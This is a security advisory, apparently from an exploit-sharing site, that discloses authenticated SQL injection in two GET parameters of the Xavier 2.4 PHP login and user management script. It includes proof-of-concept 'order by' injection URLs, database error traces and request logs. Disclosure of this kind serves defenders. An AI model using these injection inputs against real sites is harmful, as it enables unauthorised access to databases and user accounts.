Xavier 2.4 - SQL Injection Vulnerability

Document Title:
===============
Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities

 
Vulnerability Class:
====================
SQL Injection
 
 
Current Estimated Price:
========================
1.000€ - 2.000€
 
 
Product & Service Introduction:
===============================
The script can easily be dropped in to an existing website allowing you to protect pages by adding one line of PHP code at the top of a page. 
You can also protect sections of pages. Secure your web pages or sections of content dependant on whether your users are logged in or out, 
or whether they are a member of a User Group. Or secure your pages dependent on whether you are logged on as an administrator.
 
(Copy of the Homepage:  https://codecanyon.net/item/xavier-php-login-script-user-management/9146226 )
 
 
 
Affected Product(s):
====================
Siggles
Product: Xavier - PHP Login Script & User Management Admin Panel 2.4
 
 
Exploitation Technique:
=======================
Remote
 
 
Severity Level:
===============
Medium
 
 
Technical Details & Description:
================================
Multiple sql-injection vulnerabilities has been discovered in the Xavier PHP Login Script & User Management Admin Panel web-application.
The issue allows remote attackers to inject own malicious sql commands to compromise the web-application & database management system.
 
The sql-injection vulnerabilities are located in the `usertoedit` and `log_id` parameters of the `adminuserdit.php` and `editgroup.php` files.
Remote attackers with privileged user accounts are able to compromise the web-application and database management system by injection of sql 
commands via GET method request. The attacker vector is client-side and the request method to inject the sql commands is GET. The vulnerability 
is a classic order by sql-injection.
 
The security risk of the sql-injection web vulnerability is estimated as medium with a common vulnerability scoring system count of 5.3. 
Exploitation of the remote sql-injection web vulnerability requires an authenticated web-application user account and no user interaction. 
Successful exploitation of the sql-injection web vulnerability results in web-application or database management system compromise.
 
Request Method(s):
[+] GET
 
Vulnerable File(s):
[+] adminuseredit.php
[+] editgroup.php
 
Vulnerable Parameter(s):
[+] usertoedit
[+] log_id
 
 
Proof of Concept (PoC):
=======================
The remote sql-injection vulnerability can be exploited by authenticated user accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
 
 
PoC: Example
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=[SQL-INJECTION VULNERABILITY!]
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=[SQL-INJECTION VULNERABILITY!]
 
 
PoC: Exploitation
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=1%20order%20by%203--
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=1%20order%20by%203--
 
 
--- SQL Error & Exception Logs ---
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S22]: 
Column not found: 1054 Unknown column '100' in 'order clause'' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') 
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), '1 order by 100-...') 
#2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
Syntax error or access violation: 1064 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') 
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), ''') 
#2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
Syntax error or access violation: 1064 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:59 Stack trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(59): PDO->query('SELECT username...') 
#1 /home/angry/public_html/xavier-demo/admin/adminuseredit.php(26): Functions->usernameTaken('-1' -1'') 
#2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 59
 
 
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=%27[SQL-INJECTION VULNERABILITY!]-- 
Mime Type[text/html]
   Request Header:
      Host[xavier-php.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache]
      Keep-Alive[timeout=2, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]
-
20:49:05.559[216ms][total 277ms] Status: 200[OK]
GET https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=%27[SQL-INJECTION VULNERABILITY!]-- 
Mime Type[text/html]
   Request Header:
      Host[xavier-php.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache]
      Keep-Alive[timeout=2, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]
 
 
Reference(s):
https://xavier-php.localhost:8080/
https://xavier-php.localhost:8080/xavier/
https://xavier-php.localhost:8080/xavier/admin/
https://xavier-php.localhost:8080/xavier/admin/editgroup.php
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php

#  0day.today [2018-03-10]  #